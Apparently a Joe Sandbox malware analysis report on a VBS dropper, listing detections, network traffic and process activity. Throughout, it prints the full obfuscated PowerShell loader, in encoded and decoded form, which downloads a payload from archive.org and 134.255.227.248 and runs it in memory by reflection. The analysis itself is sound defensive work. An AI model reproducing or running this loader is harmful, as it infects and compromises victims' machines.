rJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs", ProcessId: 6448, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for submitted file

Source: ZJbugHcHda.vbs	Virustotal: Detection: 15%			Perma Link
Source: ZJbugHcHda.vbs	ReversingLabs: Detection: 26%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.3% probability

Source: unknown

HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.4:49730 version: TLS 1.2

Source:	Binary string: ystem.Core.pdb source: powershell.exe, 00000003.00000002.2204804190.000001B044190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdbg Adapter source: powershell.exe, 00000003.00000002.2204804190.000001B0441D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000003.00000002.2203441821.000001B043F60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t.Automation.pdb source: powershell.exe, 00000003.00000002.2204804190.000001B044190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdb source: powershell.exe, 00000003.00000002.2204804190.000001B0441D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000003.00000002.2203441821.000001B043F60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: powershell.exe, 00000003.00000002.2203441821.000001B043FEC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb" source: powershell.exe, 00000003.00000002.2203441821.000001B043FEC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000003.00000002.2187547991.000001B03CF78000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2205660588.000001B044580000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbBH' source: powershell.exe, 00000003.00000002.2204804190.000001B0441D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000003.00000002.2203441821.000001B043F60000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/kb/KNORKK.txt HTTP/1.1Host: 134.255.227.248Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/kb/KNORKK.txt HTTP/1.1Host: 134.255.227.248Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 207.241.227.240 207.241.227.240

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	TCP traffic detected without corresponding DNS query: 134.255.227.248
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/kb/KNORKK.txt HTTP/1.1Host: 134.255.227.248Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/kb/KNORKK.txt HTTP/1.1Host: 134.255.227.248Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ia600100.us.archive.org
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: powershell.exe, 00000003.00000002.2170165029.000001B02C3B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.255.227.248
Source: powershell.exe, 00000003.00000002.2170165029.000001B02C565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.255.227.248(
Source: powershell.exe, 00000003.00000002.2170165029.000001B02C3B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.255.227.248/xampp/kb/KNORKK.txt
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D90F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D8B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.2214280152.0000018B00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2170165029.000001B02BF61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D8B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.2214280152.0000018B00051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000001.00000002.2214280152.0000018B0006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2170165029.000001B02BF61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D8B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.2170165029.000001B02C8D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D2D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.arX
Source: powershell.exe, 00000003.00000002.2170165029.000001B02C183000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2170165029.000001B02D2D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 00000003.00000002.2170165029.000001B02C183000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2170165029.000001B02D2D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 00000003.00000002.2170165029.000001B02C183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtskr;xPibase64Content
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D90F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2187547991.000001B03BFCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000003.00000002.2170165029.000001B02D689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.4:49730 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 6596, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7052, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B8A113D		3_2_00007FFD9B8A113D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B960644		3_2_00007FFD9B960644

Source: ZJbugHcHda.vbs

Initial sample: Strings found which are bigger than 50

Source: Process Memory Space: powershell.exe PID: 6596, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7052, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@6/6@2/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6616:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1inyfbo.5zh.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZJbugHcHda.vbs	Virustotal: Detection: 15%
Source: ZJbugHcHda.vbs	ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ZJbugHcHda.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRzaEVsbElkWzFdKyRTSEVsTGlEWzEzXSsneCcpICggKCd4UGl1cmwnKycgPScrJyBzJysna3JodHRwJysnczovLycrJ2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdicrJ2Uub3JnJysnLzI0L2l0JysnZScrJ21zL2RldGFoLScrJ25vdGUtJysndi9EZScrJ3RhaE5vdGVWJysnLnR4dHNrJysncjt4UGknKydiYScrJ3NlJysnNjRDbycrJ24nKyd0ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgUycrJ3lzdGVtLicrJ05ldC5XZWJDJysnbGknKydlbnQpLicrJ0Rvd25sJysnb2FkU3RyaW4nKydnKHhQaXVybCk7JysneFAnKydpJysnYmluYXJ5JysnQ29udGUnKydudCA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CJysnYScrJ3NlNjRTJysndHJpbicrJ2coeFBpJysnYmFzZTY0Q29udGUnKyduJysndCk7eFBpYXMnKydzZW1ibHkgPScrJyBbUmVmbGVjJysndCcrJ2knKydvbi5Bc3NlbWJseScrJ106JysnOkwnKydvYWQoJysneFBpYmluJysnYXInKyd5Q29udGVudCk7eFAnKydpdHknKydwZSA9IHgnKydQaWFzJysnc2VtJysnYicrJ2x5LkdlJysndFR5cCcrJ2Uoc2tyJysnUnUnKyduUCcrJ0UuSG9tZXNrcicrJyk7eFBpJysnbWUnKyd0aG9kID0geFBpdHknKydwZS5HZXRNZXQnKydobycrJ2QoJysnc2tyVkFJc2tyJysnKTt4UCcrJ2knKydtZXRob2QnKycuSW52Jysnb2tlKHhQaW51bGwnKycsJysnIFsnKydvYmplJysnY3RbXV1AJysnKHNrcnR4dC5LS1JPTksnKycvYmsvcHBtYXgnKycvODQyLjcnKycyJysnMi41NTIuNDMxLy86cCcrJ3R0aHNrciAsJysnICcrJ3MnKydrcmRlc2F0aXZhZG8nKydza3IgLCAnKydza3JkJysnZXNhdGl2JysnYWQnKydvcycrJ2snKydyICcrJywgc2tyZCcrJ2UnKydzYXRpdmFkb3Nrcixza3JSZScrJ2dBcycrJ21zaycrJ3Isc2tyc2tyKSknKS5SRVBsQWNFKCd4UGknLCckJykuUkVQbEFjRSgoW2NIQXJdMTE1K1tjSEFyXTEwNytbY0hBcl0xMTQpLFtTVHJpTkddW2NIQXJdMzkpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $shEllId[1]+$SHElLiD[13]+'x') ( ('xPiurl'+' ='+' s'+'krhttp'+'s://'+'ia600100'+'.us.'+'archiv'+'e.org'+'/24/it'+'e'+'ms/detah-'+'note-'+'v/De'+'tahNoteV'+'.txtsk'+'r;xPi'+'ba'+'se'+'64Co'+'n'+'te'+'nt = ('+'New-Obje'+'ct S'+'ystem.'+'Net.WebC'+'li'+'ent).'+'Downl'+'oadStrin'+'g(xPiurl);'+'xP'+'i'+'binary'+'Conte'+'nt = [Syst'+'em.Convert]::FromB'+'a'+'se64S'+'trin'+'g(xPi'+'base64Conte'+'n'+'t);xPias'+'sembly ='+' [Reflec'+'t'+'i'+'on.Assembly'+']:'+':L'+'oad('+'xPibin'+'ar'+'yContent);xP'+'ity'+'pe = x'+'Pias'+'sem'+'b'+'ly.Ge'+'tTyp'+'e(skr'+'Ru'+'nP'+'E.Homeskr'+');xPi'+'me'+'thod = xPity'+'pe.GetMet'+'ho'+'d('+'skrVAIskr'+');xP'+'i'+'method'+'.Inv'+'oke(xPinull'+','+' ['+'obje'+'ct[]]@'+'(skrtxt.KKRONK'+'/bk/ppmax'+'/842.7'+'2'+'2.552.431//:p'+'tthskr ,'+' '+'s'+'krdesativado'+'skr , '+'skrd'+'esativ'+'ad'+'os'+'k'+'r '+', skrd'+'e'+'sativadoskr,skrRe'+'gAs'+'msk'+'r,skrskr))').REPlAcE('xPi','$').REPlAcE(([cHAr]115+[cHAr]107+[cHAr]114),[STriNG][cHAr]39))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 